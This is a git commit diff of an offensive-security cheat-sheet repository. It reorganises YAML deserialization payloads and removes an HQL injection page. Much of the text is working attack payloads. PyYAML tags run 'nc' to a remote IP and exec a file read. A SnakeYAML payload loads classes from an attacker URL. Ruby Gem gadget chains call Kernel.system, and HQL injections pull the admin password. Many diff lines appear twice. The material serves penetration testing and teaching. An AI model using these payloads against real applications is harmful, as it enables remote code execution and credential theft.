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YAML Deserialization
This commit is contained in:
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@ -10,6 +10,7 @@
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* [Ysoserial](#ysoserial)
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* [Ysoserial](#ysoserial)
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* [Burp extensions using ysoserial](#burp-extensionsl)
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* [Burp extensions using ysoserial](#burp-extensionsl)
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* [Alternative Tooling](#alternative-tooling)
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* [Alternative Tooling](#alternative-tooling)
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* [YAML Deserialization](#yaml-deserialization)
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* [References](#references)
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* [References](#references)
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@ -100,7 +101,7 @@ java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | b
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python yss_url.py yss_new.bin
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python yss_url.py yss_new.bin
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java -cp JavaSerializationTestSuite DeSerial yss_new.bin
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java -cp JavaSerializationTestSuite DeSerial yss_new.bin
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```
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```
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- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution
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- [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
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```java
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```java
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$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
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$ java -cp marshalsec.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
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$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
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$ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc"
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@ -131,6 +132,21 @@ Payload generators for the following marshallers are included:
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| YAMLBeans | third party RCE |
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| YAMLBeans | third party RCE |
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## YAML Deserialization
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SnakeYAML
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```yaml
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!!javax.script.ScriptEngineManager [
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!!java.net.URLClassLoader [[
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!!java.net.URL ["http://attacker-ip/"]
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]]
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]
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```
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## References
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## References
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- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
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- [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
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@ -6,9 +6,15 @@
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* [Detection](#detection)
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* [Detection](#detection)
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* [Pickle](#pickle)
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* [Pickle](#pickle)
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* [PyYAML](#pyyaml)
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* [References](#references)
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* [References](#references)
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## Tools
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* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
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## Detection
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## Detection
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In Python source code, look for these sinks:
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In Python source code, look for these sinks:
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@ -65,6 +71,47 @@ print("Your Evil Token : {}").format(evil_token)
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```
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```
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## PyYAML
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YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
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```yaml
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!!python/object/apply:time.sleep [10]
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!!python/object/apply:builtins.range [1, 10, 1]
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!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
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!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
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!!python/object/new:subprocess [["ls","-ail"]]
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!!python/object/new:subprocess.check_output [["ls","-ail"]]
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```
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```yaml
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!!python/object/apply:subprocess.Popen
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- ls
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```
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
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The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
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```py
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with open('exploit_unsafeloader.yml') as file:
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data = yaml.load(file,Loader=yaml.UnsafeLoader)
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```
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## References
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## References
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- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
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- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
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- [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/)
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- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
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- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
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- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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@ -5,12 +5,12 @@
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## Summary
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## Summary
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* [Marshal.load](#marshalload)
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* [Marshal Deserialization](#marshal-deserialization)
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* [Yaml.load](#yamlload)
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* [YAML Deserialization](#yaml-deserialization)
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* [References](#references)
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* [References](#references)
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## Marshal.load
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## Marshal Deserialization
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Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
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Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
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@ -18,7 +18,8 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
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for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
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for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
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```
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```
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## Yaml.load
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## YAML Deserialization
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Vulnerable code
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Vulnerable code
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@ -29,7 +30,7 @@ YAML.load(File.read("p.yml"))
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Universal gadget for ruby <= 2.7.2:
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Universal gadget for ruby <= 2.7.2:
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```ruby
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```yaml
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--- !ruby/object:Gem::Requirement
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--- !ruby/object:Gem::Requirement
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requirements:
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requirements:
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!ruby/object:Gem::DependencyList
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!ruby/object:Gem::DependencyList
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@ -43,7 +44,7 @@ requirements:
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Universal gadget for ruby 2.x - 3.x.
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Universal gadget for ruby 2.x - 3.x.
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```ruby
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```yaml
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---
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---
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- !ruby/object:Gem::Installer
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- !ruby/object:Gem::Installer
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i: x
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i: x
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@ -65,6 +66,28 @@ Universal gadget for ruby 2.x - 3.x.
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method_id: :resolve
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method_id: :resolve
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```
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```
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```yaml
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---
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- !ruby/object:Gem::Installer
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i: x
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- !ruby/object:Gem::SpecFetcher
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i: y
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- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::Package::TarReader
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io: &1 !ruby/object:Net::BufferedIO
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io: &1 !ruby/object:Gem::Package::TarReader::Entry
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read: 0
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header: "abc"
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debug_output: &1 !ruby/object:Net::WriteAdapter
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socket: &1 !ruby/object:Gem::RequestSet
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sets: !ruby/object:Net::WriteAdapter
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socket: !ruby/module 'Kernel'
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method_id: :system
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git_set: sleep 600
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method_id: :resolve
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```
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## References
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## References
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@ -1,104 +0,0 @@
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# YAML Deserialization
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> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
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## Summary
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* [Tools](#tools)
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* [Methodology](#methodology)
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* [PyYAML](#pyyaml)
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* [ruamel.yaml](#ruamelyaml)
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* [Ruby](#ruby)
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* [SnakeYAML](#snakeyaml)
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* [References](#references)
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## Tools
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* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
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* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
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* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
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## Methodology
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### PyYAML
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```yaml
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!!python/object/apply:time.sleep [10]
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!!python/object/apply:builtins.range [1, 10, 1]
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!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
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!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
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!!python/object/new:subprocess [["ls","-ail"]]
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!!python/object/new:subprocess.check_output [["ls","-ail"]]
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```
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```yaml
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!!python/object/apply:subprocess.Popen
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- ls
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```
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```yaml
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!!python/object/new:str
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state: !!python/tuple
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- 'print(getattr(open("flag\x2etxt"), "read")())'
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- !!python/object/new:Warning
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state:
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update: !!python/name:exec
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```
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Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
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[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
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The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
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```
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with open('exploit_unsafeloader.yml') as file:
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data = yaml.load(file,Loader=yaml.UnsafeLoader)
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```
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## Ruamel.yaml
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## Ruby
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```ruby
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---
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- !ruby/object:Gem::Installer
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i: x
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- !ruby/object:Gem::SpecFetcher
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i: y
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- !ruby/object:Gem::Requirement
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requirements:
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!ruby/object:Gem::Package::TarReader
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io: &1 !ruby/object:Net::BufferedIO
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io: &1 !ruby/object:Gem::Package::TarReader::Entry
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read: 0
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header: "abc"
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debug_output: &1 !ruby/object:Net::WriteAdapter
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socket: &1 !ruby/object:Gem::RequestSet
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sets: !ruby/object:Net::WriteAdapter
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socket: !ruby/module 'Kernel'
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method_id: :system
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git_set: sleep 600
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method_id: :resolve
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```
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## SnakeYAML
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```yaml
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!!javax.script.ScriptEngineManager [
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!!java.net.URLClassLoader [[
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!!java.net.URL ["http://attacker-ip/"]
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]]
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]
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```
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## References
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- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
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- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
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- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
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- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
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@ -1,163 +0,0 @@
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# Hibernate Query Language Injection
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> Hibernate ORM (Hibernate in short) is an object-relational mapping tool for the Java programming language. It provides a framework for mapping an object-oriented domain model to a relational database. - Wikipedia
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## Summary
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* [HQL Comments](#hql-comments)
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* [HQL List Columns](#hql-list-columns)
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* [HQL Error Based](#hql-error-based)
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* [Single Quote Escaping](#single-quote-escaping)
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* [$-quoted strings](#--quoted-strings)
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* [DBMS Magic functions](#dbms-magic-functions)
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* [Unicode](#unicode)
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* [Java constants](#java-constants)
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* [Methods by DBMS](#methods-by-dbms)
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* [References](#references)
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## HQL Comments
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HQL does not support comments.
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## HQL List Columns
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```sql
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from BlogPosts
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where title like '%'
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and DOESNT_EXIST=1 and ''='%' --
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and published = true
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```
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Using an unexisting column will an exception leaking several columns names.
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```sql
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org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:
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select blogposts0_.id as id21_, blogposts0_.author as author21_, blogposts0_.promoCode as promo3_21_, blogposts0_.title as title21_, blogposts0_.published as published21_ from BlogPosts blogposts0_ where blogposts0_.title like '%' or DOESNT_EXIST='%' and blogposts0_.published=1 [42122-159]
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```
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## HQL Error Based
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```sql
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from BlogPosts
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where title like '%11'
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and (select password from User where username='admin')=1
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or ''='%'
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and published = true
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```
|
|
||||||
|
|
||||||
Error based on value casting.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
Data conversion error converting "d41d8cd98f00b204e9800998ecf8427e"; SQL statement:
|
|
||||||
select blogposts0_.id as id18_, blogposts0_.author as author18_, blogposts0_.promotionCode as promotio3_18_, blogposts0_.title as title18_, blogposts0_.visible as visible18_ from BlogPosts blogposts0_ where blogposts0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and blogposts0_.published=1
|
|
||||||
```
|
|
||||||
|
|
||||||
:warning: **HQL does not support UNION queries**
|
|
||||||
|
|
||||||
|
|
||||||
## Single Quote Escaping
|
|
||||||
|
|
||||||
Method works for MySQL DBMS which escapes SINGLE QUOTES in strings with SLASH `\'`.
|
|
||||||
|
|
||||||
In HQL SINGLE QUOTES is escaped in strings by doubling `''`.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
'abc\''or 1=(select 1)--'
|
|
||||||
```
|
|
||||||
|
|
||||||
In HQL it is a string, in MySQL it is a string and additional SQL expression.
|
|
||||||
|
|
||||||
|
|
||||||
## $-quoted strings
|
|
||||||
|
|
||||||
Method works for DBMS which allow DOLLAR-QUOTED strings in SQL expressions: PostgreSQL, H2.
|
|
||||||
|
|
||||||
Hibernate ORM allows identifiers starting with `$$`.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
$$='$$=concat(chr(61),chr(39)) and 1=1--'
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## DBMS Magic functions
|
|
||||||
|
|
||||||
Method works for DBMS which have MAGIC FUNCTIONS which evaluate SQL expression in string parameter: PostgreSQL, Oracle.
|
|
||||||
|
|
||||||
Hibernate allows to specify any function name in HQL expression.
|
|
||||||
|
|
||||||
PostgreSQL has built-in function `query_to_xml('Arbitrary SQL')`.
|
|
||||||
|
|
||||||
```sql
|
|
||||||
array_upper(xpath('row',query_to_xml('select 1 where 1337>1', true, false,'')),1)
|
|
||||||
```
|
|
||||||
|
|
||||||
Oracle has built-in function `DBMS_XMLGEN.getxml('SQL')`
|
|
||||||
|
|
||||||
```sql
|
|
||||||
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Unicode
|
|
||||||
|
|
||||||
Method works for DBMS which allow UNICODE delimiters (Ex. U+00A0) between SQL tokens: Microsoft SQL Server, H2.
|
|
||||||
|
|
||||||
In Microsoft SQL SERVER `SELECT LEN([U+00A0](select[U+00A0](1))` works the same as `SELECT LEN((SELECT(1)))`;
|
|
||||||
|
|
||||||
HQL allows UNICODE symbols in identifiers (function or parameter names).
|
|
||||||
|
|
||||||
```sql
|
|
||||||
SELECT p FROM hqli.persistent.Post p where p.name='dummy' or 1<LEN( (select top 1 name from users)) or '1'='11'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Java constants
|
|
||||||
|
|
||||||
Method works for most DBMS (does not work for MySQL).
|
|
||||||
|
|
||||||
Hibernate resolves Java public static fields (Java constants) in HQL queries:
|
|
||||||
|
|
||||||
- Class with Java constant must be in classpath
|
|
||||||
- Ex. `java.lang.Character.SIZE` is resolved to 16
|
|
||||||
- String or char constants are additionally surrounded by single quotes
|
|
||||||
|
|
||||||
To use JAVA CONSTANTS method we need special char or string fields declared in classes or interfaces on classpath.
|
|
||||||
|
|
||||||
```java
|
|
||||||
public class Constants {
|
|
||||||
public static final String S_QUOTE = "'";
|
|
||||||
public static final String HQL_PART = "select * from Post where name = '";
|
|
||||||
public static final char C_QUOTE_1 = '\'';
|
|
||||||
public static final char C_QUOTE_2 = '\047';
|
|
||||||
public static final char C_QUOTE_3 = 39;
|
|
||||||
public static final char C_QUOTE_4 = 0x27;
|
|
||||||
public static final char C_QUOTE_5 = 047;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Some usable constants in well-known Java libraries:
|
|
||||||
|
|
||||||
```ps1
|
|
||||||
org.apache.batik.util.XMLConstants.XML_CHAR_APOS [ Apache Batik ]
|
|
||||||
com.ibm.icu.impl.PatternTokenizer.SINGLE_QUOTE [ ICU4J ]
|
|
||||||
jodd.util.StringPool.SINGLE_QUOTE [ Jodd ]
|
|
||||||
ch.qos.logback.core.CoreConstants.SINGLE_QUOTE_CHAR [ Logback ]
|
|
||||||
cz.vutbr.web.csskit.OutputUtil.STRING_OPENING [ jStyleParser ]
|
|
||||||
com.sun.java.help.impl.DocPConst.QUOTE [ JavaHelp ]
|
|
||||||
org.eclipse.help.internal.webapp.utils.JSonHelper.QUOTE [ EclipseHelp ]
|
|
||||||
```
|
|
||||||
|
|
||||||
```sql
|
|
||||||
dummy' and hqli.persistent.Constants.C_QUOTE_1*X('<>CHAR(41) and (select count(1) from sysibm.sysdummy1)>0 --')=1 and '1'='1
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
- [HQL for pentesters - Philippe Arteau - February 12, 2014](https://blog.h3xstream.com/2014/02/hql-for-pentesters.html)
|
|
||||||
- [How to put a comment into HQL (Hibernate Query Language)? - Thomas Bratt - July 7, 2010](https://stackoverflow.com/questions/3196975/how-to-put-a-comment-into-hql-hibernate-query-language)
|
|
||||||
- [HQL: Hyperinsane Query Language - Renaud Dubourguais - June 4, 2015](https://www.synacktiv.com/ressources/hql2sql_sstic_2015_en.pdf)
|
|
||||||
- [ORM2Pwn: Exploiting injections in Hibernate ORM - Mikhail Egorov - November 26, 2015](https://www.slideshare.net/0ang3el/orm2pwn-exploiting-injections-in-hibernate-orm)
|
|
||||||
- [New Methods for Exploiting ORM Injections in Java Applications - HITBSecConf2016 - Mikhail Egorov - Sergey Soldatov - October 16, 2016](https://web.archive.org/web/20161016220026/https://conference.hitb.org/hitbsecconf2016ams/materials/D2T2%20-%20Mikhail%20Egorov%20and%20Sergey%20Soldatov%20-%20New%20Methods%20for%20Exploiting%20ORM%20Injections%20in%20Java%20Applications.pdf)
|
|
||||||
- [HQL Injection Exploitation in MySQL - Olga Barinova - July 18, 2019](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hql-injection-exploitation-in-mysql/)
|
|
@ -12,7 +12,6 @@
|
|||||||
* [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
* [PostgreSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
||||||
* [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
|
* [SQLite Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md)
|
||||||
* [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
|
* [Cassandra Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md)
|
||||||
* [HQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md)
|
|
||||||
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
|
* [DB2 Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md)
|
||||||
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
|
* [SQLmap](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLmap%20Cheatsheet.md)
|
||||||
* [Tools](#tools)
|
* [Tools](#tools)
|
||||||
|
Loading…
Reference in New Issue
Block a user